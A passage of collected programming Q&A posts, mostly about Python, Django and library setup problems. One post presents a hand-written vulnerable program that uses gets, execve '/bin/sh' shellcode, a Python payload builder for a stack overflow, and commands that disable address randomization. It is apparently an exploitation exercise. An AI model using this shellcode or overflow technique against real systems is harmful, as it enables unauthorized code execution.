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  • Class Decorators, Inheritence, super(), and maximum recursion

    - by jamstooks
    I'm trying to figure out how to use decorators on subclasses that use super(). Since my class decorator creates another subclass a decorated class seems to prevent the use of super() when it changes the className passed to super(className, self). Below is an example: def class_decorator(cls): class _DecoratedClass(cls): def __init__(self): return super(_DecoratedClass, self).__init__() return _DecoratedClass class BaseClass(object): def __init__(self): print "class: %s" % self.__class__.__name__ def print_class(self): print "class: %s" % self.__class__.__name__ bc = BaseClass().print_class() class SubClass(BaseClass): def print_class(self): super(SubClass, self).print_class() sc = SubClass().print_class() @class_decorator class SubClassAgain(BaseClass): def print_class(self): super(SubClassAgain, self).print_class() sca = SubClassAgain() # sca.print_class() # Uncomment for maximum recursion The output should be: class: BaseClass class: BaseClass class: SubClass class: SubClass class: _DecoratedClass Traceback (most recent call last): File "class_decorator_super.py", line 34, in <module> sca.print_class() File "class_decorator_super.py", line 31, in print_class super(SubClassAgain, self).print_class() ... ... RuntimeError: maximum recursion depth exceeded while calling a Python object Does anyone know of a way to not break a subclass that uses super() when using a decorator? Ideally I'd like to reuse a class from time to time and simply decorate it w/out breaking it.

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  • Python libusb pyusb "mach-o, but wrong architecture"

    - by Jon
    I am having some trouble with the pyusb module. I have narrowed down the problem to a single line, and have created a small example script to replicate the error. #!/usr/bin/env python """ This module was created to isolate the problem in the pyusb package. Operating system: Mac OS 10.6.3 Python Version: 2.6.4 libusb 1.0.8 has been successfully installed using: sudo port install libusb I have also tried modifying /opt/local/etc/macports/macports.conf to force the i386 architecture instead of x86_64. """ from ctypes import * import ctypes.util libname = ctypes.util.find_library('usb-1.0') print 'libname: ', libname l = CDLL(libname, RTLD_GLOBAL) # RESULT: #libname: /usr/local/lib/libusb-1.0.dylib #Traceback (most recent call last): # File "./pyusb_problem.py", line 7, in <module> # l = CDLL(libname, RTLD_GLOBAL) # File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/ctypes/__init__.py", line 353, in __init__ # self._handle = _dlopen(self._name, mode) #OSError: dlopen(/usr/local/lib/libusb-1.0.dylib, 10): no suitable image found. Did find: # /usr/local/lib/libusb-1.0.dylib: mach-o, but wrong architecture # End of File This same script runs on Ubuntu 10.04 successfully. I have tried building the libusb module (directly from source AND through macports) for 32-bit (i386) instead of x86_64 (default for OS 10.6), but I receive the same error. Thank-you in advance for your help!

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  • Login URL using authentication information in Django

    - by fuSi0N
    I'm working on a platform for online labs registration for my university. Login View [project views.py] from django.http import HttpResponse, HttpResponseRedirect, Http404 from django.shortcuts import render_to_response from django.template import RequestContext from django.contrib import auth def index(request): return render_to_response('index.html', {}, context_instance = RequestContext(request)) def login(request): if request.method == "POST": post = request.POST.copy() if post.has_key('username') and post.has_key('password'): usr = post['username'] pwd = post['password'] user = auth.authenticate(username=usr, password=pwd) if user is not None and user.is_active: auth.login(request, user) if user.get_profile().is_teacher: return HttpResponseRedirect('/teachers/'+user.username+'/') else: return HttpResponseRedirect('/students/'+user.username+'/') else: return render_to_response('index.html', {'msg': 'You don\'t belong here.'}, context_instance = RequestContext(request) return render_to_response('login.html', {}, context_instance = RequestContext(request)) def logout(request): auth.logout(request) return render_to_response('index.html', {}, context_instance = RequestContext(request)) URLS #========== PROJECT URLS ==========# urlpatterns = patterns('', (r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT }), (r'^admin/', include(admin.site.urls)), (r'^teachers/', include('diogenis.teachers.urls')), (r'^students/', include('diogenis.students.urls')), (r'^login/', login), (r'^logout/', logout), (r'^$', index), ) #========== TEACHERS APP URLS ==========# urlpatterns = patterns('', (r'^(?P<username>\w{0,50})/', labs), ) The login view basically checks whether the logged in user is_teacher [UserProfile attribute via get_profile()] and redirects the user to his profile. Labs View [teachers app views.py] from django.http import HttpResponse, HttpResponseRedirect, Http404 from django.shortcuts import render_to_response from django.template import RequestContext from django.contrib.auth.decorators import user_passes_test from django.contrib.auth.models import User from accounts.models import * from labs.models import * def user_is_teacher(user): return user.is_authenticated() and user.get_profile().is_teacher @user_passes_test(user_is_teacher, login_url="/login/") def labs(request, username): q1 = User.objects.get(username=username) q2 = u'%s %s' % (q1.last_name, q1.first_name) q2 = Teacher.objects.get(name=q2) results = TeacherToLab.objects.filter(teacher=q2) return render_to_response('teachers/labs.html', {'results': results}, context_instance = RequestContext(request)) I'm using @user_passes_test decorator for checking whether the authenticated user has the permission to use this view [labs view]. The problem I'm having with the current logic is that once Django authenticates a teacher user he has access to all teachers profiles basically by typing the teachers username in the url. Once a teacher finds a co-worker's username he has direct access to his data. Any suggestions would be much appreciated.

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  • Odd difference between Python 2.5 and Python 2.6 on MacOS 10.6 using ctypes and libproc proc_pidinfo

    - by cemasoniv
    I'm trying to determine the current working directory of a process given its PID. The command-line utility lsof does something similar. Here's the source to the python script: import ctypes from ctypes import util import sys PROC_PIDVNODEPATHINFO = 9 proc = ctypes.cdll.LoadLibrary(util.find_library("libproc")) print(proc.proc_pidinfo) class vnode_info(ctypes.Structure): _fields_ = [('data', ctypes.c_ubyte * 152)] class vnode_info_path(ctypes.Structure): _fields_ = [('vip_vi', vnode_info), ('vip_path', ctypes.c_char * 1024)] class proc_vnodepathinfo(ctypes.Structure): _fields_ = [('pvi_cdir', vnode_info_path), ('pvi_rdir', vnode_info_path)] inst = proc_vnodepathinfo() pid = int(sys.argv[1]) ret = proc.proc_pidinfo( pid, PROC_PIDVNODEPATHINFO, 0, ctypes.byref(inst), ctypes.sizeof(inst) ) print(ret, inst.pvi_cdir.vip_path) However, even though this script behaves as expected on Python 2.6, it does not work in Python 2.5: host:dir user$ sudo /usr/bin/python2.6 script.py 2698 <_FuncPtr object at 0x100419ae0> (2352, '/') host:dir user$ sudo /usr/bin/python2.5 script.py 2698 <_FuncPtr object at 0x19fdc0> (0, '') (PID 2698 is "Activity Monitor.app"). Note the different return values. Since this program strongly based on ctypes, I can't imagine any difference in Python itself that would cause this. The same behavior (as Python 2.5) occurs with my self-built Python 3.2. I'm not sure what versioning information I can give to help track down the weirdness -- or even come up with a solution for 2.5 -- but here's some stuff: host:dir user$ otool -L /usr/bin/python2.6 /usr/bin/python2.6: /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) host:dir user$ otool -L /usr/bin/python2.5 /usr/bin/python2.5 (architecture i386): /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) /usr/bin/python2.5 (architecture ppc7400): /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) host:dir user$ uname -a Darwin host.local 10.8.0 Darwin Kernel Version 10.8.0: Tue Jun 7 16:33:36 PDT 2011; root:xnu-1504.15.3~1/RELEASE_I386 i386 Thanks to anyone that has a clue about what's going on here:)

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  • Setting System.Drawing.Color through .NET COM Interop

    - by Maxim
    I am trying to use Aspose.Words library through COM Interop. There is one critical problem: I cannot set color. It is supposed to work by assigning to DocumentBuilder.Font.Color, but when I try to do it I get OLE error 0x80131509. My problem is pretty much like this one: http://bit.ly/cuvWfc update: Code Sample: from win32com.client import Dispatch Doc = Dispatch("Aspose.Words.Document") Builder = Dispatch("Aspose.Words.DocumentBuilder") Builder.Document = Doc print Builder.Font.Size print Builder.Font.Color Result: 12.0 Traceback (most recent call last): File "aaa.py", line 6, in <module> print Builder.Font.Color File "D:\Python26\lib\site-packages\win32com\client\dynamic.py", line 501, in __getattr__ ret = self._oleobj_.Invoke(retEntry.dispid,0,invoke_type,1) pywintypes.com_error: (-2146233079, 'OLE error 0x80131509', None, None) Using something like Font.Color = 0xff0000 fails with same error message While this code works ok: using Aspose.Words; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { Document doc = new Document(); DocumentBuilder builder = new DocumentBuilder(doc); builder.Font.Color = System.Drawing.Color.Blue; builder.Write("aaa"); doc.Save("c:\\1.doc"); } } } So it looks like COM Interop problem.

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  • How do I correctly install dulwich to get hg-git working on Windows?

    - by Joshua Flanagan
    I'm trying to use the hg-git Mercurial extension on Windows (Windows 7 64-bit, to be specific). I have Mercurial and Git installed. I have Python 2.5 (32-bit) installed. I followed the instructions on http://hg-git.github.com/ to install the extension. The initial easy_install failed because it was unable to compile dulwich without Visual Studio 2003. I installed dulwich manually by: git clone git://git.samba.org/jelmer/dulwich.git cd dulwich c:\Python25\python setup.py --pure install Now when I run easy_install hg-git, it succeeds (since the dulwich dependency is satisfied). In my C:\Users\username\Mercurial.ini, I have: [extensions] hgext.bookmarks = hggit = When I type 'hg' at a command prompt, I see: "* failed to import extension hggit: No module named hggit" Looking under my c:\Python25 folder, the only reference to hggit I see is Lib\site-packages\hg_git-0.2.1-py2.5.egg. Is this supposed to be extracted somewhere, or should it work as-is? Since that failed, I attempted the "more involved" instructions from the hg-git page that suggested cloning git://github.com/schacon/hg-git.git and referencing the path in my Mercurial configuration. I cloned the repo, and changed my extensions file to look like: [extensions] hgext.bookmarks = hggit = c:\code\hg-git\hggit Now when I run hg, I see: * failed to import extension hggit from c:\code\hg-git\hggit: No module named dulwich.errors. Ok, so that tells me that it is finding hggit now, because I can see in hg-git\hggit\git_handler.py that it calls from dulwich.errors import HangupException That makes me think dulwich is not installed correctly, or not in the path. Update: From Python command line: import dulwich yields Import Error: No module named dulwich However, under C:\Python25\Lib\site-packages, I do have a dulwich-0.5.0-py2.5.egg folder which appears to be populated. This was created by the steps mentioned above. Is there an additional step I need to take to make it part of the Python "path"?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • How to replace openSSL calls with C# code?

    - by fonix232
    Hey there again! Today I ran into a problem when I was making a new theme creator for chrome. As you may know, Chrome uses a "new" file format, called CRX, to manage it's plugins and themes. It is a basic zip file, but a bit modified: "Cr24" + derkey + signature + zipFile And here comes the problem. There are only two CRX creators, written in Ruby or Python. I don't know neither language too much (had some basic experience in Python though, but mostly with PyS60), so I would like to ask you to help me convert this python app to a C# code that doesn't depend on external programs. Also, here is the source of crxmake.py: #!/usr/bin/python # Cribbed from http://github.com/Constellation/crxmake/blob/master/lib/crxmake.rb # and http://src.chromium.org/viewvc/chrome/trunk/src/chrome/tools/extensions/chromium_extension.py?revision=14872&content-type=text/plain&pathrev=14872 # from: http://grack.com/blog/2009/11/09/packing-chrome-extensions-in-python/ import sys from array import * from subprocess import * import os import tempfile def main(argv): arg0,dir,key,output = argv # zip up the directory input = dir + ".zip" if not os.path.exists(input): os.system("cd %(dir)s; zip -r ../%(input)s . -x '.svn/*'" % locals()) else: print "'%s' already exists using it" % input # Sign the zip file with the private key in PEM format signature = Popen(["openssl", "sha1", "-sign", key, input], stdout=PIPE).stdout.read(); # Convert the PEM key to DER (and extract the public form) for inclusion in the CRX header derkey = Popen(["openssl", "rsa", "-pubout", "-inform", "PEM", "-outform", "DER", "-in", key], stdout=PIPE).stdout.read(); out=open(output, "wb"); out.write("Cr24") # Extension file magic number header = array("l"); header.append(2); # Version 2 header.append(len(derkey)); header.append(len(signature)); header.tofile(out); out.write(derkey) out.write(signature) out.write(open(input).read()) os.unlink(input) print "Done." if __name__ == '__main__': main(sys.argv) Please could you help me?

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  • Django Class Views and Reverse Urls

    - by kalhartt
    I have a good many class based views that use reverse(name, args) to find urls and pass this to templates. However, the problem is class based views must be instantiated before urlpatterns can be defined. This means the class is instantiated while urlpatterns is empty leading to reverse throwing errors. I've been working around this by passing lambda: reverse(name, args) to my templates but surely there is a better solution. As a simple example the following fails with exception: ImproperlyConfigured at xxxx The included urlconf mysite.urls doesn't have any patterns in it mysite.urls from mysite.views import MyClassView urlpatterns = patterns('', url(r'^$' MyClassView.as_view(), name='home') ) views.py class MyClassView(View): def get(self, request): home_url = reverse('home') return render_to_response('home.html', {'home_url':home_url}, context_instance=RequestContext(request)) home.html <p><a href={{ home_url }}>Home</a></p> I'm currently working around the problem by forcing reverse to run on template rendering by changing views.py to class MyClassView(View): def get(self, request): home_url = lambda: reverse('home') return render_to_response('home.html', {'home_url':home_url}, context_instance=RequestContext(request)) and it works, but this is really ugly and surely there is a better way. So is there a way to use reverse in class based views but avoid the cyclic dependency of urlpatterns requiring view requiring reverse requiring urlpatterns...

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  • django customizing form labels

    - by Henri
    I have a problem in customizing labels in a Django form This is the form code in file contact_form.py: from django import forms class ContactForm(forms.Form): def __init__(self, subject_label="Subject", message_label="Message", email_label="Your email", cc_myself_label="Cc myself", *args, **kwargs): super(ContactForm, self).__init__(*args, **kwargs) self.fields['subject'].label = subject_label self.fields['message'].label = message_label self.fields['email'].label = email_label self.fields['cc_myself'].label = cc_myself_label subject = forms.CharField(widget=forms.TextInput(attrs={'size':'60'})) message = forms.CharField(widget=forms.Textarea(attrs={'rows':15, 'cols':80})) email = forms.EmailField(widget=forms.TextInput(attrs={'size':'60'})) cc_myself = forms.BooleanField(required=False) The view I am using this in looks like: def contact(request, product_id=None): . . . if request.method == 'POST': form = contact_form.ContactForm(request.POST) if form.is_valid(): . . else: form = contact_form.ContactForm( subject_label = "Subject", message_label = "Your Message", email_label = "Your email", cc_myself_label = "Cc myself") The strings used for initializing the labels will eventually be strings dependent on the language, i.e. English, Dutch, French etc. When I test the form the email is not sent and instead of the redirect-page the form returns with: <QueryDict: {u'cc_myself': [u'on'], u'message': [u'message body'], u'email':[u'[email protected]'], u'subject': [u'test message']}>: where the subject label was before. This is obviously a dictionary representing the form fields and their contents. When I change the file contact_form.py into: from django import forms class ContactForm(forms.Form): """ def __init__(self, subject_label="Subject", message_label="Message", email_label="Your email", cc_myself_label="Cc myself", *args, **kwargs): super(ContactForm, self).__init__(*args, **kwargs) self.fields['subject'].label = subject_label self.fields['message'].label = message_label self.fields['email'].label = email_label self.fields['cc_myself'].label = cc_myself_label """ subject = forms.CharField(widget=forms.TextInput(attrs={'size':'60'})) message = forms.CharField(widget=forms.Textarea(attrs={'rows':15, 'cols':80})) email = forms.EmailField(widget=forms.TextInput(attrs={'size':'60'})) cc_myself = forms.BooleanField(required=False) i.e. disabling the initialization then everything works. The form data is sent by email and the redirect page shows up. So obviously something the the init code isn't right. But what? I would really appreciate some help.

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  • Limit foreign key choices in select in an inline form in admin

    - by mightyhal
    Edited :-) Hopefully a bit clearer now. The logic is of the model is: A Building has many Rooms A Room may be inside another Room (a closet, for instance--ForeignKey on 'self') A Room can only in inside of another Room in the same building (this is the tricky part) Here's the code I have: #spaces/models.py from django.db import models class Building(models.Model): name=models.CharField(max_length=32) def __unicode__(self): return self.name class Room(models.Model): number=models.CharField(max_length=8) building=models.ForeignKey(Building) inside_room=models.ForeignKey('self',blank=True,null=True) def __unicode__(self): return self.number and: #spaces/admin.py from ex.spaces.models import Building, Room from django.contrib import admin class RoomAdmin(admin.ModelAdmin): pass class RoomInline(admin.TabularInline): model = Room extra = 2 class BuildingAdmin(admin.ModelAdmin): inlines=[RoomInline] admin.site.register(Building, BuildingAdmin) admin.site.register(Room) The inline will display only rooms in the current building (which is what I want). The problem, though, is that for the inside_room drop down, it displays all of the rooms in the Rooms table (including those in other buildings). In the inline of rooms, I need to limit the inside_room choices to only rooms which are in the current building being displayed by the main form. I can't figure out a way to do it with either a limit_choices_to in the model, nor can I figure out how exactly to override the admin's inline formset properly (I feel like I should be somehow create a custom inline form, pass the building_id of the main form to the custom inline, then limit the queryset for the field's choices based on that--but I just can't wrap my head around how to do it). Maybe this is too complex for the admin site, but it seems like something that would be generally useful... Thanks again for your help!

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  • Proper way to set PYTHONPATH (including precedence)

    - by Wells
    In .bashrc I have: export PYTHONPATH=/home/wells/py-mlb I've verified this is actually being set. so, in this directory is another directory called 'py_mlb'- the actual module. So I go python -v and then import py_mlb but it does: >>> import py_mlb import py_mlb # directory /usr/local/lib/python2.6/dist-packages/py_mlb Then I do import sys and print sys.path and I see: >>> print sys.path ['', '/usr/local/lib/python2.6/dist-packages/python_memcached-1.44-py2.6.egg', '/usr/local/lib/python2.6/dist-packages/pymc-2.1alpha-py2.6-linux-i686.egg', '/usr/local/lib/python2.6/dist-packages/nose-0.11.1-py2.6.egg', '/home/wells/py-mlb', '/usr/lib/python2.6', '/usr/lib/python2.6/plat-linux2', '/usr/lib/python2.6/lib-tk', '/usr/lib/python2.6/lib-old', '/usr/lib/python2.6/lib-dynload', '/usr/lib/python2.6/dist-packages', '/usr/local/lib/python2.6/dev-packages', '/usr/lib/pymodules/python2.6', '/usr/lib/pymodules/python2.6/gtk-2.0', '/usr/local/lib/python2.6/dist-packages'] So my path from .bashrc IS in there, and from the look of it it's even before dist-packages but it's importing the module from dist-packages. How can I finagle this so the PYTHONPATH as defined by .bashrc takes precedence? Thanks!

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  • Bitbucket API authentication with Python's HTTPBasicAuthHandler

    - by jbochi
    I'm trying to get the list of issues on a private repository using bitbucket's API. I have confirmed that HTTP Basic authentication works with hurl, but I am unable to authenticate in Python. Adapting the code from this tutorial, I have written the following script. import cookielib import urllib2 class API(): api_url = 'http://api.bitbucket.org/1.0/' def __init__(self, username, password): self._opener = self._create_opener(username, password) def _create_opener(self, username, password): cj = cookielib.LWPCookieJar() cookie_handler = urllib2.HTTPCookieProcessor(cj) password_manager = urllib2.HTTPPasswordMgrWithDefaultRealm() password_manager.add_password(None, self.api_url, username, password) auth_handler = urllib2.HTTPBasicAuthHandler(password_manager) opener = urllib2.build_opener(cookie_handler, auth_handler) return opener def get_issues(self, username, repository): query_url = self.api_url + 'repositories/%s/%s/issues/' % (username, repository) try: handler = self._opener.open(query_url) except urllib2.HTTPError, e: print e.headers raise e return handler.read() api = API(username='my_username', password='XXXXXXXX') api.get_issues('my_username', 'my_repository') results in: >>> Server: nginx/0.7.62 Date: Mon, 19 Apr 2010 16:15:06 GMT Content-Type: text/plain Connection: close Vary: Authorization,Cookie Content-Length: 9 Traceback (most recent call last): File "C:/USERS/personal/bitbucket-burndown/bitbucket-api.py", line 29, in <module> print api.get_issues('my_username', 'my_repository') File "C:/USERS/personal/bitbucket-burndown/bitbucket-api.py", line 25, in get_issues raise e HTTPError: HTTP Error 401: UNAUTHORIZED api.get_issues('jespern', 'bitbucket') works like a charm. What's wrong with my code?

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  • VPython in Eclipse - thinks it has the wrong architecture type.

    - by Duncan Tait
    Evening, So I've recently installed VPython on my MacBook (OS X, Snow Leopard) - and it works absolutely fine in IDLE and from the command line (interactive mode). However, eclipse has issues. Firstly it couldn't find it (which is a bit of an issue actually with all these 'easy install' python modules - when they don't tell you where they actually install to!) but I searched it out in the depths of Library\Frameworks... and added that to the System PYTHONPATH listbox in Eclipse. Now it can find it, but it says the following: Traceback (most recent call last): File "/Users/duncantait/dev/workspace/Network_Simulation/src/Basic/Net_Sim1.py", line 15, in <module> import visual File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/visual/__init__.py", line 59, in <module> import cvisual ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/visual/cvisual.so, 2): no suitable image found. Did find: /Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/visual/cvisual.so: mach-o, but wrong architecture I am guessing that VPython might not be built for a 64-bit architecture (Intel), but the fact remains that it works in both IDLE and command prompt... So there must be a way to configure Eclipse to run it right? (Wishful thinking). Thanks for any help! Duncan

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  • Build error with variables and url_for in Flask

    - by Rob
    Have found one or two people on the interwebs with similar problems, but haven't seen a solution posted anywhere. I'm getting a build error from the code/template below, but can't figure out where the issue is or why it's occurring. It appears that the template isn't recognizing the function, but don't know why this would be occurring. Any help would be greatly appreciated - have been pounding my against the keyboard for two nights now. Function: @app.route('/viewproj/<proj>', methods=['GET','POST']) def viewproj(proj): ... Template Excerpt: {% for project in projects %} <li> <a href="{{ url_for('viewproj', proj=project.project_name) }}"> {{project.project_name}}</a></li> {% else %} No projects {% endfor %} Error log: https://gist.github.com/1684250 EDIT: Also wanted to include that it's not recognizing the variable "proj" when building the URL, so it's just appending the value as a parameter. Here's an example: //myproject/viewproj?projname=what+up Last few lines: [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] File "/srv/www/myproject.com/myproject/templates/layout.html", line 103, in top-level template code, referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] {% block body %}{% endblock %}, referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] File "/srv/www/myproject.com/myproject/templates/main.html", line 34, in block "body", referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] , referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] File "/usr/lib/python2.7/dist-packages/flask/helpers.py", line 195, in url_for, referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] return ctx.url_adapter.build(endpoint, values, force_external=external), referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] File "/usr/lib/pymodules/python2.7/werkzeug/routing.py", line 1409, in build, referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] raise BuildError(endpoint, values, method), referer: xx://myproject.com/ [Wed Jan 25 09:47:34 2012] [error] [client 199.58.143.128] BuildError: ('viewproj', {'proj': '12th'}, None), referer: xx://myproject.com/

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  • MySQLdb within python2.5 virtualenv

    - by wizard
    I have a Fedora 11 box with MySQL server. Fedora 11 uses python 2.6 internally and python 2.6 is automatically installed on the box. I have created a python virtual-env for version 2.5.5, so that I can run turbogears 1.x application. I have MySQLdb rpm installed on the box (and it works fine with python 2.6). When I import MySQLdb from within python version 2.6 it imports is successfully. When I import MySQLdb from within the python 2.5.5 virtual-env the import fails (because I have installed virtual-env with --no-site-packages). So, I have to install MySQLdb python as a local package (local to virtual-env). 'easy_install MySQL-python' within the virtual env fails. It downloads the MySQL-python-1.2.3.c1.tar.gz/download, but the 'python setup.py build' fails with error. The same problem occurs when building the MySQL outside of virtual-env. Is the 'python setup.py build' for MySQL-python trying to link to a library (and am I missing some library)? Or is the downloaded code missing some header files (unlikely)? Thanks.

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  • How to compile Python scripts for use in FORTRAN?

    - by Vincent Poirier
    Hello, Although I found many answers and discussions about this question, I am unable to find a solution particular to my situation. Here it is: I have a main program written in FORTRAN. I have been given a set of python scripts that are very useful. My goal is to access these python scripts from my main FORTRAN program. Currently, I simply call the scripts from FORTRAN as such: CALL SYSTEM ('python pyexample.py') Data is read from .dat files and written to .dat files. This is how the python scripts and the main FORTRAN program communicate to each other. I am currently running my code on my local machine. I have python installed with numpy, scipy, etc. My problem: The code needs to run on a remote server. For strictly FORTRAN code, I compile the code locally and send the executable to the server where it waits in a queue. However, the server does not have python installed. The server is being used as a number crunching station between universities and industry. Installing python along with the necessary modules on the server is not an option. This means that my “CALL SYSTEM ('python pyexample.py')” strategy no longer works. Solution?: I found some information on a couple of things in thread http://stackoverflow.com/questions/138521/is-it-feasible-to-compile-python-to-machine-code Shedskin, Psyco, Cython, Pypy, Cpython API These “modules”(? Not sure if that's what to call them) seem to compile python script to C code or C++. Apparently not all python features can be translated to C. As well, some of these appear to be experimental. Is it possible to compile my python scripts with my FORTRAN code? There exists f2py which converts FORTRAN code to python, but it doesn't work the other way around. Any help would be greatly appreciated. Thank you for your time. Vincent PS: I'm using python 2.6 on Ubuntu

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  • record output sound in python

    - by aaronstacy
    i want to programatically record sound coming out of my laptop in python. i found PyAudio and came up with the following program that accomplishes the task: import pyaudio, wave, sys chunk = 1024 FORMAT = pyaudio.paInt16 CHANNELS = 1 RATE = 44100 RECORD_SECONDS = 5 WAVE_OUTPUT_FILENAME = sys.argv[1] p = pyaudio.PyAudio() channel_map = (0, 1) stream_info = pyaudio.PaMacCoreStreamInfo( flags = pyaudio.PaMacCoreStreamInfo.paMacCorePlayNice, channel_map = channel_map) stream = p.open(format = FORMAT, rate = RATE, input = True, input_host_api_specific_stream_info = stream_info, channels = CHANNELS) all = [] for i in range(0, RATE / chunk * RECORD_SECONDS): data = stream.read(chunk) all.append(data) stream.close() p.terminate() data = ''.join(all) wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb') wf.setnchannels(CHANNELS) wf.setsampwidth(p.get_sample_size(FORMAT)) wf.setframerate(RATE) wf.writeframes(data) wf.close() the problem is i have to connect the headphone jack to the microphone jack. i tried replacing these lines: input = True, input_host_api_specific_stream_info = stream_info, with these: output = True, output_host_api_specific_stream_info = stream_info, but then i get this error: Traceback (most recent call last): File "./test.py", line 25, in data = stream.read(chunk) File "/Library/Python/2.5/site-packages/pyaudio.py", line 562, in read paCanNotReadFromAnOutputOnlyStream) IOError: [Errno Not input stream] -9975 is there a way to instantiate the PyAudio stream so that it inputs from the computer's output and i don't have to connect the headphone jack to the microphone? is there a better way to go about this? i'd prefer to stick w/ a python app and avoid cocoa.

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  • Hadoop streaming with Python and python subprocess

    - by Ganesh
    I have established a basic hadoop master slave cluster setup and able to run mapreduce programs (including python) on the cluster. Now I am trying to run a python code which accesses a C binary and so I am using the subprocess module. I am able to use the hadoop streaming for a normal python code but when I include the subprocess module to access a binary, the job is getting failed. As you can see in the below logs, the hello executable is recognised to be used for the packaging, but still not able to run the code. . . packageJobJar: [/tmp/hello/hello, /app/hadoop/tmp/hadoop-unjar5030080067721998885/] [] /tmp/streamjob7446402517274720868.jar tmpDir=null JarBuilder.addNamedStream hello . . 12/03/07 22:31:32 INFO mapred.FileInputFormat: Total input paths to process : 1 12/03/07 22:31:32 INFO streaming.StreamJob: getLocalDirs(): [/app/hadoop/tmp/mapred/local] 12/03/07 22:31:32 INFO streaming.StreamJob: Running job: job_201203062329_0057 12/03/07 22:31:32 INFO streaming.StreamJob: To kill this job, run: 12/03/07 22:31:32 INFO streaming.StreamJob: /usr/local/hadoop/bin/../bin/hadoop job -Dmapred.job.tracker=master:54311 -kill job_201203062329_0057 12/03/07 22:31:32 INFO streaming.StreamJob: Tracking URL: http://master:50030/jobdetails.jsp?jobid=job_201203062329_0057 12/03/07 22:31:33 INFO streaming.StreamJob: map 0% reduce 0% 12/03/07 22:32:05 INFO streaming.StreamJob: map 100% reduce 100% 12/03/07 22:32:05 INFO streaming.StreamJob: To kill this job, run: 12/03/07 22:32:05 INFO streaming.StreamJob: /usr/local/hadoop/bin/../bin/hadoop job -Dmapred.job.tracker=master:54311 -kill job_201203062329_0057 12/03/07 22:32:05 INFO streaming.StreamJob: Tracking URL: http://master:50030/jobdetails.jsp?jobid=job_201203062329_0057 12/03/07 22:32:05 ERROR streaming.StreamJob: Job not Successful! 12/03/07 22:32:05 INFO streaming.StreamJob: killJob... Streaming Job Failed! Command I am trying is : hadoop jar contrib/streaming/hadoop-*streaming*.jar -mapper /home/hduser/MARS.py -reducer /home/hduser/MARS_red.py -input /user/hduser/mars_inputt -output /user/hduser/mars-output -file /tmp/hello/hello -verbose where hello is the C executable. It is a simple helloworld program which I am using to check the basic functioning. My Python code is : #!/usr/bin/env python import subprocess subprocess.call(["./hello"]) Any help with how to get the executable run with Python in hadoop streaming or help with debugging this will get me forward in this. Thanks, Ganesh

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  • Django Form Preview

    - by Mark Kecko
    I'm trying to use django's FormPreview and I can't get it to work properly. Here's my code: forms.py class MyForm(forms.ModelForm): status = forms.TypedChoiceField( coerce=int, choices=LIST_STATUS, label="type", widget=forms.RadioSelect ) description = forms.CharField(widget = forms.Textarea) stage = forms.CharField() def __init__(self, useradd=None, *args, **kwargs): super(MyForm, self).__init__(*args, **kwargs) self.fields['firm'].label = "Firm" class Meta: model = MyModel fields = ['status', 'description', 'stage'] class MyFormPreview(FormPreview): form_template = 'templates/post.html' preview_template = 'templates/review.html' def process_preview(self, request, cleaned_data): print "processed" def done(self, request, cleaned_data): print "done" # Do something with the cleaned_data, then redirect # to a "success" page. return HttpResponseRedirect('/') urls.py (r'^post/$', MyFormPreview(MyForm)), post.html <form id = "post_ad" action = "" method = "POST" enctype="multipart/form-data"> <table> {{form.as_table}} </table> <input type="submit" name="save" value="Post" /> </form> When I go to /post/ I get the correct form and I fill it out. When I submit the form it goes right back to /post/ but but there are no errors (I've tried displaying {{errors}}) and the form is empty. None of my print statements execute. I'm not sure what I'm missing. Can anyone help me out? I can't find any documentation besides what's on the django site. Also, what's the "preview" variable called that I should use in my preview.html template? {{preview}} or do I just do {{form}} again? -- Answered below. I tried adding 'django.contrib.formtools' to my installed_apps in settings and 